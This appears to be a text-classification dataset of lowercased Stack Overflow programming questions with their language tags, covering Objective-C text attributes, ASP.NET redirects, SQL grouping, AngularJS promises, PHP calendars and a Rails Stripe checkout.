can nsshadowattribute be applied to nsmutablearray or have to convert nsmutablearray to nsmutablestring   i have a nsmutablearray of text on which i want to apply nsshadowattribute. is there a way to accomplish this or have to convert first nsmutablearray to nsmutablestring so that nsshadowattribute can be applied on it.   <pre><code> self.textarray = [nsmutablearray alloc] initwithobjects: @ this specification does not indicate    the behavior  rendering or otherwise  of space characters other than those explicitly identified here as white space characters. for this reason  authors should use appropriate elements and styles to achieve visual formatting effects that involve white space  rather than space characters . </code></pre>   this is the nsshadowattribute code which i want to apply on nsmutablearray.   <pre><code>    uicolor *_green=[uicolor greencolor];     uifont *font=[uifont fontwithname:@ helvetica-bold  size:72.0f];      nsshadow *shadowdic=[[nsshadow alloc] init];     [shadowdic setshadowblurradius:5.0];     [shadowdic setshadowcolor:[uicolor graycolor]];     [shadowdic setshadowoffset:cgsizemake(0  3)];      [attstring addattribute:nsfontattributename value:font range:nsmakerange(0  _stringlength)];     [attstring addattribute:nsforegroundcolorattributename value:_green range:nsmakerange(0  _stringlength)];     [attstring addattribute:nsshadowattributename value:shadowdic range:nsmakerange(0  _stringlength)]; </code></pre>   pls can someone tells me how to achieve this.,ios
how should i add object in nsdictionary for the same key at runtime   i am trying to add value as array in nsdctionary for the same key  i don t how should i add like that  what i mean in php  we have add multi dimension array at runtime like fetching the value form db like for the same key  we need to add into nsdictonary,iphone
download a page and calculate throughput in objective-c  i have to write code to download from a website and then calculate the throughput of the download every 3 seconds in bytes/sec. how can i do this   let s say i download the website but then i need to store it in some sort of mutable array which stores bytes and then divide its length by 3 after every 3 seconds. what timer can i use that will help me know the throughput     also  the data needs to be stored in bytes so which array type can i use,objective-c
uiviewcontroller not responding to nsnotifications  i have a <code>uiviewcontroller</code> that s not responding to <code>nsnotifications</code>. i m sure the action that is kicked off by the notification works. what could be wrong with my setup     i use a singleton to load a <code>feedviewcontroller</code> from the <code>appdelegate</code> s <code>didfinishlaunching</code>. this <code>feedviewcontroller</code> keeps a reference to a <code>deckviewcontroller</code>  and this <code>deckviewcontroller</code> reliably sends the notifications to which the <code>feedviewcontroller</code> should be observing. yet the notifications are never received. i made sure that the <code>singleton</code> keeps a strong reference to the view controller that should be receiving the notifications.    in the <code>singleton</code> that holds a reference to the notification observer:   <pre><code> // .h file  @property (nonatomic) rofeedviewcontroller *feedviewcontroller;   // .m file  _feedviewcontroller = [[rofeedviewcontroller alloc] init];     iiviewdeckcontroller *deckcontroller = [[iiviewdeckcontroller alloc] initwithcenterviewcontroller:_feedviewcontroller leftviewcontroller:leftcontroller rightviewcontroller:rightcontroller];     _feedviewcontroller.deckcontroller = deckcontroller; </code></pre>   in notification observer (<code>rofeedviewcontroler</code>):   <pre><code>- (void)viewwillappear:(bool)animated {     [super viewwillappear:animated];      [[nsnotificationcenter defaultcenter] addobserver:self selector:@selector(viewdeckpanned:) name:@ viewdeckpanned  object:_deckcontroller];     ... }  - (void)viewdeckpanned:(nsnotification *)notification {     float offset = [(nsnumber *)[notification object] floatvalue];     if (offset &gt; 0) {         _leftbutton.transform = cgaffinetransformmakerotation(offset * m_pi / 180.0);     } else {         _rightbutton.transform = cgaffinetransformmakerotation(offset * m_pi / 180.0);     } } </code></pre>   notifications reliable get sent from the notification sender (<code>iiviewdeckcontroller</code>):   <pre><code>- (void)notifydidchangeoffset:(cgfloat)offset orientation:(iiviewdeckoffsetorientation)orientation panning:(bool)panning {     [self performdelegate:@selector(viewdeckcontroller:didchangeoffset:orientation:panning:) offset:offset orientation:orientation panning:panning];     [[nsnotificationcenter defaultcenter] postnotificationname:@ viewdeckpanned  object:[nsnumber numberwithfloat:offset]]; </code></pre>   },ios
what drove the inventors of float mechanism   now in the days of flexbox and grid  floats seem to be very unintuitive way of thinking about styling page layout (at least for me). my question is - what is the crazy logic behind floats,css
response.redirect is not working  i am writing a code where after clicking one button one page will be redirected to another nd after opening 2nd page one pdf file will be download just like this website <a href= http://www.findwhitepapers.com/content22881  rel= nofollow >http://www.findwhitepapers.com/content22881</a> .but instead of opening the 2nd page and downloading the pdf file only pdf file is downloaded but 2nd page is not opening.1st page code is   <pre><code>protected void button1_click(object sender  eventargs e) {   response.redirect( 2nd.aspx ); } </code></pre>   2nd page s code  is written below.   <pre><code> protected void page_load(object sender  eventargs e) {     string filepath =  guar-gum/guar-gum-export-report.pdf ;      // the file name used to save the file to the client s system..      string filename = path.getfilename(filepath);     system.io.stream stream = null;     try     {         // open the file into a stream.          stream = new filestream(server.mappath( guar-gum-export-report.pdf )  system.io.filemode.open  system.io.fileaccess.read  system.io.fileshare.read);         // total bytes to read:          long bytestoread = stream.length;         response.contenttype =  application/octet-stream ;         response.addheader( content-disposition    attachment; filename=  + filename);         // read the bytes from the stream in small portions.          while (bytestoread &gt; 0)         {             // make sure the client is still connected.              if (response.isclientconnected)             {                 // read the data into the buffer and write into the                  // output stream.                  byte[] buffer = new byte[10000];                 int length = stream.read(buffer  0  10000);                 response.outputstream.write(buffer  0  length);                 response.flush();                 // we have already read some bytes.. need to read                  // only the remaining.                  bytestoread = bytestoread - length;             }             else             {                 // get out of the loop  if user is not connected anymore..                  bytestoread = -1;             }         }         response.flush();     }     catch (exception ex)     {         response.write(ex.message);         // an error occurred..      }     finally     {         if (stream != null)         {             stream.close();                 //         }     } } </code></pre>,asp.net
portable way to check the presence of non-portable integral types  i would like to profit by int64_t for my int  when present in a c++98 or greater implementation (i know c++11 already provides a 64-bit int). is there a portable and generic way to check the presence of int64_t or - even better - any 64-bit-or-greater integer type available  as in:   <pre><code>#ifdef has_int64_t typedef int64_t myint #else typedef int myint #endif  //...code myint a; </code></pre>   if possible the check should work for c++98  c++03 and c++11.,c++
no image view in android studio componet tree  i can t move the images  there isn t an image view on component tree field    it s liked this    <a href= https://i.stack.imgur.com/n4dzk.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/n4dzk.png  alt= enter image description here ></a>    here s also the xml file elements    <a href= https://i.stack.imgur.com/ssoz3.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/ssoz3.png  alt= enter image description here ></a>    i can t figure it out how to resolve this    hope you could help me,android
how to prevent system.outofmemoryexception when retrieving large amounts of data in c#  i have a c# program that populates a dictionary with 4million guids at startup. i keep getting an exception of type  system.outofmemoryexception  error at this point.    example:   <pre><code>using (reportingconn) {     var initialrowkeys = reportingconn.query( select rowkey from table”); } </code></pre>   can anyone give me some ideas how best to retrieve large amounts data from sql into a dictionary,c#
how do i make an allocator class method in objective-c   i have a class nsfoo that has a bar property.  i want to have a class method to get an instance of nsfoo with the bar property set.  this would be similar to the nsstring stringwithformat class method.  so the signature would be:   <pre><code>+ (nsfoo *) foowithbar:(nsstring *)thebar; </code></pre>   so i would call it like this:   <pre><code>nsfoo *foo = [nsfoo foowithbar: @ bar ]; </code></pre>   i m thinking this might be correct:   <pre><code>+ (nsfoo *) foowithbar:(nsstring *)thebar {   nsfoo *foo = [[nsfoo alloc] init];   foo.bar = thebar;   [foo autorelease];   return foo;   } </code></pre>   does that look right,objective-c
how to insert different selected checkbox values into database using asp.net  <pre><code>&lt;tr&gt;  &lt;td&gt;    &lt;asp:checkbox id= checkdoc  runat= server  checked= false  /&gt;:document  &lt;/td&gt;  &lt;td&gt;    &lt;asp:checkbox id= checktwocheque  runat= server  checked= false  /&gt;:two cheques  &lt;/td&gt;  &lt;td&gt;    &lt;asp:checkbox id= checkidprf  runat= server  checked= false  /&gt;:id proof  &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt;   &lt;td&gt;    &lt;asp:checkbox id= checkpancrd  runat= server  checked= false  /&gt;:pan card   &lt;/td&gt;   &lt;td&gt;    &lt;asp:checkbox id= checkaddrssprf  runat= server  checked= false  /&gt;:address proof   &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt;   &lt;td colspan= 4  align= center &gt;    &lt;asp:button id= btnfarmrecordsave  runat= server  text= save  onclientclick= return validations();      onclick= btnfarmrecordsave_click  /&gt;   &lt;/td&gt; &lt;/tr&gt; </code></pre>   iam not using checkboxlist control then how to write code  for inserting values into database using asp.net.can anybody helpme out.,asp.net
extend div height to entire webpage  is there a way i can extend the height of a div to the entire webpage using css     i am not using    <pre><code>.height  {   height:100%;   } </code></pre>   but this will only extend to the height of the contents inside the div. the div should cover the entire webpage even if there is just a 1 line worth of content inside it.,css
c++ initialize class segmentation fault  edit -- i updated the class code:   <pre><code>#include  menuitem.h  #include &lt;string.h&gt;  menuitem::menuitem(const char* txt  const int len) {     this-&gt;inittext(txt  len); }  menuitem::~menuitem() {     delete[] text;     }  void menuitem::inittext(const char* txt  const int len) {     text = new char[len];     strcpy(text  txt); }  void menuitem::resettext(const char* txt  const int len) {     if (len)     {         if (text)         {             delete[] text;                    }         text = new char[len];     }     strcpy(text  txt); } </code></pre>   i am trying to implement an array of class objects  and the class has no empty constructor. when i try to initialize the first element i get a segmentation fault.    to declare and set the array    <pre><code>menuitem **menuitems; menuitems = (menuitem**) malloc(sizeof (menuitem) * 8); </code></pre>   in my main method i have:   <pre><code>#include  mainapp.h  #include &lt;iostream&gt; using namespace main_app;  int main(int argc  char** argv) {      menuitem **menuitems;     const char title[] =           main title here                 ;     const char menu1[] =    1)  item one                           ;     const char menu2[] =    2)  item two                           ;     const char menu3[] =    3)  item three                         ;     const char menu4[] =    4)  item four                          ;     const char menu5[] =    5)  help                               ;     const char menu6[] =    6)  exit                               ;      menuitems = (menuitem**) malloc(sizeof (menuitem) * 8);       *menuitems[0] = menuitem(title  40); /*&lt;== segmentation fault occurs here */     *menuitems[1] = menuitem(menu1  40);     *menuitems[2] = menuitem(menu2  40);     *menuitems[3] = menuitem(menu3  40);     *menuitems[4] = menuitem(menu4  40);     *menuitems[5] = menuitem(menu5  40);     *menuitems[6] = menuitem(menu6  40);     *menuitems[7] = menuitem(    40);      for (int i = 0; i &lt; 8; i++) {         puts(menuitems[i]-&gt;text);     }      printf( at main(). menu app exiting.\n );     return 0;  } </code></pre>   the class:   <pre><code>#ifndef menuitem_h #define menuitem_h  #include  malloc.h  class menuitem { public:     menuitem(const char* txt  const int len);     ~menuitem();     void resettext(const char* txt  const int len = 0);          char *text; private:     void inittext (const char* txt  const int len); };  #endif /* menuitem_h */  /**  menuitem.cpp file */ #include  menuitem.h  #include &lt;string.h&gt;  menuitem::menuitem(const char* txt  const int len) {     this-&gt;inittext(txt  len); }  menuitem::~menuitem() {     if (text) {         free(text);     } }  void menuitem::inittext(const char* txt  const int len) {     text = (char*) malloc(len);     strcpy(text  txt); }  void menuitem::resettext(const char* txt  const int len) {     if (len) {         if (text) {             free(text);                     }         text = (char*) malloc(len);     }     strcpy(text  txt); } </code></pre>   i can modify the class and add an empty constructor  but i would prefer to not do this  to ensure a c-string is always used in the initialization.    this is compiled in linux 32-bit g++.    -matt,c++
sending sms to multi device  this is my code to send sms for multi devices. but the sms is sent to only first number four times. i want to send sms to all user stored in arrraylist.   <pre><code>public class sendsmsactivity extends activity {      button buttonsend;      string smsbody =  message from the api ;       @override     public void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);     setcontentview(r.layout.activity_main);      buttonsend = (button) findviewbyid(r.id.buttonsend);     textphoneno = (edittext) findviewbyid(r.id.edittextphoneno);     textsms = (edittext) findviewbyid(r.id.edittextsms);      final arraylist &lt;string&gt; phone=new arraylist&lt;string&gt;();     phone.add( 9742504034 );     phone.add( 9535179695 );     phone.add( 9742504034 );     phone.add( 7204860021 );      buttonsend.setonclicklistener(new onclicklistener() {          @override         public void onclick(view v) {            try {              for(int i = 0; i &lt; phone.size(); i++)             {             smsmanager smsmanager = smsmanager.getdefault();              smsmanager.sendtextmessage(string.valueof(phone)  null  smsbody  null  null);               toast.maketext(getapplicationcontext()   sms sent!                   toast.length_long).show();             }            } catch (exception e) {             toast.maketext(getapplicationcontext()                   sms faild  please try again later!                   toast.length_long).show();             e.printstacktrace();            }          }     });     } } </code></pre>,android
grouping users in sql based on how often they appear in the database  i am facing some issues in sql. i have a table of users (user ids) who have bought in a store (purchase ids). to make it clearer  let’s say that i have a table with 2 columns:   <pre><code>name_user purchase_id james   aaa mary bbb andrew   ccc mary ddd andrew   eee andrew   fff john ggg </code></pre>   i know how to get:   <pre><code>name_user  number of purchases james 1 mary 2 andrew 3 john 1 </code></pre>   but i would like to get:   <pre><code>number of purchases number of users 1 2 (james+john) 2 1 (mary) 3 1 (andrew) do you know how to do that  </code></pre>   i created this sql fiddle in order to help me but i don t really know how to move forward: <a href= http://sqlfiddle.com/#!15/7468c/1  rel= nofollow >http://sqlfiddle.com/#!15/7468c/1</a>    here is what i did:   <pre><code>select case when count(distinct client) over (partition by purchase_id) =1 then  1 purchase      when count(distinct client) over (partition by purchase_id) =2 then  2 purchases      else  over 2  end       count(client)  from    the_unknown_table  group by purchase_id  client </code></pre>   thanks     jp,sql
what are the pros and cons of using `select table_name.*`   i ve heard that this is the wrong way to write queries in general but i wonder something people say to new users of sql.    is it really bad form or just plain lazy     so  not to solicit too much opinion on this  what are some good reasons for it s use in queries besides not having to type out every field name. also  do these reasons outweigh the harm in it s use,sql
change the order of elements to the top <pre><code>   &lt;div id= container &gt;         &lt;div id= 1 &gt;1&lt;/div&gt;         &lt;div id= 2 &gt;2&lt;/div&gt;         &lt;div id= 3 &gt;3&lt;/div&gt;         &lt;div id= 4 &gt;4&lt;/div&gt;    &lt;/div&gt;          </code></pre>   how to move the <code>div</code> #4 to the top using pure javascript i saw <a href= https://stackoverflow.com/questions/7742305/changing-the-order-of-elements-using-javasript >this</a> but it s working only to move elements to the bottom. for example that will work to move #1 to the bottom. it will work to move #4 to the top by moving all the other elements to the bottom. isn t there a direct way to move #4 to the top .,javascript
date converter in python <pre><code>def main():     print  welcome to the date converter      print  please enjoy your stay      print     date_string = raw_input( please enter a date in mm/dd/yyyy format:   )     date_list = date_string.split( / )     import datetime     d = datetime.date     d.strftime( %b %d  %y )  main() </code></pre>   that s what i have so far i keep getting a 0 for an output in help would be appreciated i am trying to have someone input a numerical date  and the program convert it to a date like november 15  2010,python
rails copy a record to another table  i have a table called <code>jobplans</code> and one called <code>workorders</code>. they have many similar fields (columns).    i would like to have a button that would invoke code create a new <code>workorder</code> and copy the similar fields from the <code>jobplan</code>.    i found this code like this in another question:   <pre><code>@jobplan = jobplan.find(params[:id]) # find original object @workorder = workorder.create(@jobplan.attributes) </code></pre>   but -    will that code work   if yes  where does it go  can it go on the view page that has the button  controller   model     thanks for your help!,ruby-on-rails
unexpected behaviors of promises  i ve been facing a trouble while working with factory/service. i ve created an ajaxrequests factory for all of my ajax calls. my factory code is   <pre><code>.factory( ajaxrequests   [ $http   function ($http) {                 return {                     getcampaignsdata: function () {                         var campaigns                         return $http.get(url).then(function (response) {                             campaigns = response.data;                             return campaigns;                         });                      }                 }             }]) </code></pre>   i ve created another service in which i am injecting this factory. my service code   <pre><code>.service( campaignsservice   [ $rootscope    ajaxrequests   function ($rootscope  ajaxrequests) {      this.init = function () {      this.camps;      ajaxrequests.getcampaignsdata().then(function (response) {        this.camps = response.campaigns;        console.log(this.camps); // it is showing data      })      console.log(this.camps); // but it is not working :(     };    this.init();  }]) </code></pre>   and in my controller   <pre><code>.controller( advancesettingscontroller   [ $scope    campaignsservice   function ($scope  campaignsservice) {                 $scope.campaignsservice = campaignsservice;             }         ]) </code></pre>   i ve read this <a href= http://chariotsolutions.com/blog/post/angularjs-corner-using-promises-q-handle-asynchronous-calls/  rel= nofollow noreferrer >article</a> to learn promises but it is not working here. i can directly achieve it in controller and it s been working fine. but it consider as a bad coding standard to make controller thick. but when i use service and factory i stuck. <strong>my question is why i am not getting ajax data to use in my whole service  </strong> i need to use <code>campaignsservice.camps</code> in my view template as well as in my whole rest script but every time i get <code>undefined</code>. what is happening here  i ve asked the same question before but couldn t get any success. <strong>some one please help me to understand about promises and why i am getting this type of error if i m working same</strong>   this type of question has already been asked <a href= https://stackoverflow.com/questions/30369483/angularjs-controller-doesnt-get-data-from-service-when-using-http >before</a> but it was working in controller. may be i am stuck because i m using it in a service.    a big thanks in advance.,angularjs
how to config routeprovider and locationprovider in angularjs   i want to active html5mode in angularjs  but i don t know why it s not working. is there anything wrong with my code    <pre class= lang-js prettyprint-override ><code>angular     .module( myapp  [])     .config(function($locationprovider  $routeprovider) {         $locationprovider.html5mode(true);         $routeprovider.when( /   {            templateurl:  partials/home.html               controller: homectrl         });          $routeprovider.when( /tags/:tagid   {             templateurl:  partials/result.html                controller: tagresultctrl         });         //$routeprovider.otherwise({redirectto:  /home   controller: homectrl});      }); </code></pre>   in html   <pre class= lang-html prettyprint-override ><code>  &lt;a href= tags/{{tag.id}} &gt;&lt;img data-ng-src= {{tag.imageurl}} &gt;&lt;/a&gt; </code></pre>,angularjs
please explain for the below php oops code execution  please explain execution flow of the below statement   <pre><code>$this-&gt;setpageid()     -&gt;paginate()     -&gt;sendcacheheaders(); </code></pre>   in below code   <pre><code>protected function main()     {        $this-&gt;setpageid()             -&gt;paginate()             -&gt;sendcacheheaders(); }    public function setpageid()     {         $this-&gt;pageid = (int)$this-&gt;router-&gt;getrealpageid();          return $this;     }    protected function paginate()     {         d( paginating with $this-&gt;pagerpath:   . $this-&gt;pagerpath);         $paginator = paginator::factory($this-&gt;registry);         $paginator-&gt;paginate($this-&gt;cursor  $this-&gt;per_page              array( currentpage  =&gt; $this-&gt;pageid                     path         =&gt;  {_web_root_}/  . $this-&gt;pagerpath));          $this-&gt;pagerlinks = $paginator-&gt;getlinks();          return $this;     }   protected function sendcacheheaders()     {           return $this;     } </code></pre>   what is the flow of this methods execution   is there any data transfer/communication b/w these methods,php
php calendar if statement with dates  in this calendar in php  i m trying to change the css according to the month and day of the week. i need to make a function to separate the days that have passed and saturday and sunday and set the class  cal_dayblock  and the rest of the days that do not yet passed and the next month they were in class cal_day     already tried several things and i m not getting  please help me in this if statement   <pre><code>&lt; php $months = date( m ); $years = date( y ); $day_count = cal_days_in_month(cal_gregorian  $months  $years);   for($i=1; $i&lt;= $day_count; $i++) {   $date = $months. / .$i. / .$years;  if($i &gt;= date( d ) &amp;&amp; $months &gt;= date( m )) {     echo  &lt;div class= cal_day &gt; ;     echo  &lt;div class= day_heading &gt;  . $i .  &lt;/div&gt; ;}  else {     echo  &lt;div class= cal_dayblock &gt; ;     echo  &lt;div class= day_heading &gt;  . $i .  &lt;/div&gt; ;  }  echo  &lt;/div&gt; ;  }   &gt; </code></pre>   edit:   <pre><code>  &lt;script language= javascript  type= text/javascript &gt;    function initialcalendar() { var hr = new xmlhttprequest(); var url =  calendar_start.php ; var currenttime = new date(); var month = currenttime.getmonth() + 1; var year = currenttime.getfullyear(); showmonth = month; showyear = year; var vars =  showmonth= +showmonth+ showyear= +showyear; hr.open( post   url  true); hr.setrequestheader( content-type    application/x-www-form-urlencoded ); hr.onreadystatechange = function() {     if(hr.readystate == 4 &amp;&amp; hr.status == 200) {         var return_data = hr.responsetext;         document.getelementbyid( showcalendar ).innerhtml = return_data;     }  }     hr.send(vars);     document.getelementbyid( showcalendar ).innerhtml =  carregando... ;     } </code></pre>   and php   <pre><code>     $showmonth = $_post[ showmonth ];      $showyear = $_post[ showyear ];      $showmonth = preg_replace( #[^0-9/]#i       $showmonth);      $showyear = preg_replace( #[^0-9/]#i       $showyear); </code></pre>   getting error becouse that can help me fix it   please,php
how do i add a title for my uitoolbar   please i have just added an uitoolbar to my view with a back button  and i want to put a title to this uitoolbar   in interface builder i can t do it manually so i should add it in the program  how should i do please  my view class is like this :   <pre><code>#import  aproposview.h    @implementation aproposview  -(ibaction)backmainview{       [self dismissmodalviewcontrolleranimated:yes];  } </code></pre>   this back button is in the uitoolbar  so i  need just to add a title  thx in advance :),ios
connect to mysql in php over ssh   is it possible (and how so if yes) to connect to a mysql db over ssh in php  before  i would connect to a vpn then just connect normally to the mysql db normally (this is for local testing purposes only) but that is not working at the moment so my only other option is to use ssh.,mysql
restrict certain characters in textarea input   i have a textarea on a web page and i would like to make it so that people can t put certain characters like &amp;  *  &lt;  or > in it. is there any way i can do it with html  if not  i can also use php.,html
using uirequireddevicecapabilities in info.plist to limit compatible devices  if i only want my application to run on certain iphone/ipad models  is it appropriate to specify for instance that my app needs arkit to achieve this even if my app does not actually use anything from arkit     is there another way to go about this  also  even after making this change  my app still builds for devices it shouldn’t like the iphone 5s simulator. is the device restriction a change that occurs only on the app store,ios
in .net  is the class object passed by value or by reference  we know that integers are passed as value types unless we use ref keyword.     but what about class objects     will updates within functions cause update to the object     what about string  it is a reference type. is the behaviour same in this case when passing string to function,.net
retrieve data-type from console.readline input  im pretty new to programming and i have a challenge but i need your help. my task is to write a program which is reading something from the console and then if its number it will print 1  if its string it will look like this (string + *). heres my code but there is something wrong and i cant figure it out.its a must to use switch - case.   <pre><code>static void main(string[] args) {     string x = console.readline();     switch (x)     {         case  int  :             int i = int.parse(x);             i = i + 1;             console.writeline(i);             break;         case  double :             double d = double.parse(x);             d = d + 1;             console.writeline(d);             break;         case  string :             string s = (x);             console.writeline(s +  * );             break;         default:             break;     }         }   </code></pre>,c#
compare arrays and add missing key value to array  i have two arrays:    first   <pre><code>array (size=6) 0 =&gt;  array (size=2)    age  =&gt; string  25-34  (length=5)    count  =&gt; string  45  (length=2) 1 =&gt;  array (size=2)    age  =&gt; string  55-64  (length=5)    count  =&gt; string  1  (length=1)  2 =&gt;  array (size=2)    age  =&gt; string  13-17  (length=5)    count  =&gt; string  3  (length=1) 3 =&gt;  array (size=2)    age  =&gt; string  35-44  (length=5)    count  =&gt; string  11  (length=2) 4 =&gt;  array (size=2)    age  =&gt; string  18-24  (length=5)    count  =&gt; string  46  (length=2) 5 =&gt;  array (size=2)    age  =&gt; string  45-54  (length=5)    count  =&gt; string  2  (length=1) </code></pre>   second:   <pre><code>array (size=5) 0 =&gt;  array (size=2)    age  =&gt; string  65+  (length=3)    count  =&gt; string  1  (length=1) 1 =&gt;  array (size=2)    age  =&gt; string  13-17  (length=5)    count  =&gt; string  4  (length=1) 2 =&gt;  array (size=2)    age  =&gt; string  35-44  (length=5)    count  =&gt; string  3  (length=1) 3 =&gt;  array (size=2)    age  =&gt; string  25-34  (length=5)    count  =&gt; string  11  (length=2) 4 =&gt;  array (size=2)    age  =&gt; string  18-24  (length=5)    count  =&gt; string  20 |  (length=4) </code></pre>   now what here i am getting is that first array size is larger than second one  so i need a solution for making the small size array similar to larger size array.    with same keys  and add value zero to new added keys value.,php
invalid token  )  in class  struct  or interface member declaration  here is my code  i got error  invalid token  )  in class  struct  or interface member declaration   any help       -- aspx    <pre><code>&lt;%@ page language= c#  autoeventwireup= true  codefile= test.aspx.cs  inherits= main_test  %&gt; &lt;%@ register assembly= system.web.extensions  version=1.0.61025.0  culture=neutral publickeytoken=31bf3856ad364e35      namespace= system.web.ui  tagprefix= asp  %&gt;  &lt;!doctype html public  -//w3c//dtd xhtml 1.0 transitional//en   http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd &gt; &lt;html xmlns= http://www.w3.org/1999/xhtml  &gt; &lt;head runat= server &gt;     &lt;title&gt;untitled page&lt;/title&gt; &lt;/head&gt; &lt;body&gt;     &lt;form id= form1  runat= server &gt;         &lt;asp:scriptmanager id= scriptmanager1  runat= server &gt;&lt;/asp:scriptmanager&gt;          &lt;asp:checkbox id= checkbox1  runat= server   autopostback= true  /&gt;          &lt;%  if (checkbox1.checked) {  %&gt;         &lt;asp:updatepanel id= updatepanel1  runat= server  &gt;             &lt;contenttemplate&gt;                    &lt;%  } %&gt;          something           &lt;%  if (checkbox1.checked ) {   %&gt; // error is here at )                &lt;/contenttemplate&gt;         &lt;/asp:updatepanel&gt;         &lt;%   } %&gt;     &lt;/form&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   -- aspx.cs   <pre><code>using system; using system.data; using system.configuration; using system.collections; using system.web; using system.web.security; using system.web.ui; using system.web.ui.webcontrols; using system.web.ui.webcontrols.webparts; using system.web.ui.htmlcontrols;  public partial class main_test : system.web.ui.page {     protected void page_load(object sender  eventargs e)     {      } } </code></pre>,.net
ruby on rails list table from different view  is there a way to list (index) a table from a different unrelated view  i have a calendar view for using jquery fullcalendar and an events table.  the calendar doesn t have a model  so i can t relate it to events.    using the same code from the events/index doesn t work:   <pre><code>&lt;% @events.each do |event| %&gt; </code></pre>   or   <pre><code>&lt;% events.each do |event| %&gt; </code></pre>   i get:   <pre><code>you have a nil object when you didn t expect it! </code></pre>,ruby-on-rails
angularjs modal window directive  i m trying to make a directive angularjs directive for twitter bootstrap modal.   <pre><code>    var demoapp = angular.module( demoapp   []);  demoapp.controller( dialogdemoctrl   function autocompletedemoctrl($scope) {     $scope.langs = [         {id: 1   name: actionscript }          {id: 2   name: applescript }          {id: 3   name: asp }          {id: 4   name: basic }          {id: 5   name: c }          {id: 6   name: c++ }     ];      $scope.confirm = function (id) {         console.log(id);         var item = $scope.langs.filter(function (item) { return item.id == id })[0];         var index = $scope.langs.indexof(item);         $scope.langs.splice(index  1);     }; });  demoapp.directive( modal   function ($compile  $timeout) {     var modaltemplate = angular.element( &lt;div id= {{modalid}}  class= modal  style= display:none   tabindex= -1  role= dialog  aria-labelledby= mymodallabel  aria-hidden= true &gt;&lt;div class= modal-header &gt;&lt;h3 id= mymodallabel &gt;{{modalheadertext}}&lt;/h3&gt;&lt;/div&gt;&lt;div class= modal-body &gt;&lt;p&gt;{{modalbodytext}}&lt;/p&gt;&lt;/div&gt;&lt;div class= modal-footer &gt;&lt;a class= {{cancelbuttonclass}}  data-dismiss= modal  aria-hidden= true &gt;{{cancelbuttontext}}&lt;/a&gt;&lt;a ng-click= handler()  class= {{confirmbuttonclas}} &gt;{{confirmbuttontext}}&lt;/a&gt;&lt;/div&gt;&lt;/div&gt; );     var linktemplate =  &lt;a href= #{{modalid}}  id= role= button  data-toggle= modal  class= btn small_link_button &gt;{{linktitle}}&lt;/a&gt;       var linker = function (scope  element  attrs) {         scope.confirmbuttontext = attrs.confirmbuttontext;         scope.cancelbuttontext = attrs.cancelbuttontext;         scope.modalheadertext = attrs.modalheadertext;         scope.modalbodytext = attrs.modalbodytext;         scope.confirmbuttonclass = attrs.confirmbuttonclass;         scope.cancelbuttonclass = attrs.cancelbuttonclass;         scope.modalid = attrs.modalid;         scope.linktitle = attrs.linktitle;          $compile(element.contents())(scope);         var newtemplate = $compile(modaltemplate)(scope);          $(newtemplate).appendto( body );          $( #  + scope.modalid).modal({             backdrop: false              show: false         });     }      var controller = function ($scope) {         $scope.handler = function () {             $timeout(function () {                 $( # + $scope.modalid).modal( hide );                         $scope.confirm();                         });         }     }      return {         restrict:  e           rep1ace: true          link: linker          controller: controller          template: linktemplate         scope: {             confirm:  &amp;          }     }; });​ </code></pre>   here is jsfiddle example <a href= http://jsfiddle.net/okolobaxa/unyh4/15/ >http://jsfiddle.net/okolobaxa/unyh4/15/</a>    but handler() function runs as many times as directives on page. why  what is the right way,angularjs
form not submitting after input button is changed with replacewith  i have a form in which i click a button  open  after the click  the button is replaced with a different button  save   however  the save button does not submit the form.   <pre><code>$(function() {     // activate a row     $( .activate ).live( click   function() {          var rec = $(this).attr( rec );         var status = $(this).attr( status );          if (status == 1) {             disable_attributes(rec);             $( #activate_  + rec).replacewith( &lt;input type= button  name= activate  id= activate_  + rec +    class= activate  value= open  rec=   + rec +    status= 0 &gt; );         }         else {             open_row(rec);             enable_attributes(rec);             $( #activate_  + rec).replacewith( &lt;input id= save_  + rec +    class= update  type= submit  value= save  name= submit &gt; ).submit_reservation_form();             // add row to active_user_rows         }     });       $( .clock ).popover({         placement:  left      }); });​ </code></pre>,jquery
why my dos interface will flash across when i run a cpp file in sublime text 3   just as you see in the title  i have been confused about that for a long while.,c++
rails strip access and display account information  i am trying to follow this <a href= https://stripe.com/docs/checkout/guides/rails  rel= nofollow >tutorial</a>    <br> i have completed that tutorial now i want to display account information of the user dont t how have any idea.user information like <strong>credit card number and bank name</strong><br> <br> [charges_controller]   <pre><code>class chargescontroller &lt; applicationcontroller       def new     end      def create   # amount in cents   @amount = 500    customer = stripe::customer.create(     :email =&gt; params[:stripeemail]      :source  =&gt; params[:stripetoken]    )    charge = stripe::charge.create(     :customer    =&gt; customer.id      :amount      =&gt; @amount      :description =&gt;  rails stripe customer       :currency    =&gt;  usd    )  @token = stripe::token.retrieve(params[:stripetoken])         puts  hhhhhhhhhh#{@token.id}  rescue stripe::carderror =&gt; e   flash[:error] = e.message   redirect_to new_charge_path end end </code></pre>   <br> [charges/new.html.erb]   <pre><code>&lt;%= form_tag charges_path do %&gt;   &lt;article&gt;     &lt;% if flash[:error].present  %&gt;       &lt;div id= error_explanation &gt;         &lt;p&gt;&lt;%= flash[:error] %&gt;&lt;/p&gt;       &lt;/div&gt;     &lt;% end %&gt;     &lt;label class= amount &gt;       &lt;span&gt;amount: $5.00&lt;/span&gt;     &lt;/label&gt;   &lt;/article&gt;    &lt;script src= https://checkout.stripe.com/checkout.js  class= stripe-button            data-key= &lt;%= rails.configuration.stripe[:publishable_key] %&gt;            data-description= a month s subscription            data-amount= 500            data-locale= auto &gt;&lt;/script&gt; &lt;% end %&gt; </code></pre>   <br> [stripe.rb]   <pre><code>rails.configuration.stripe = {   :publishable_key =&gt; env[ publishable_key ]    :secret_key      =&gt; env[ secret_key ] }  stripe.api_key = rails.configuration.stripe[:secret_key] </code></pre>,ruby-on-rails
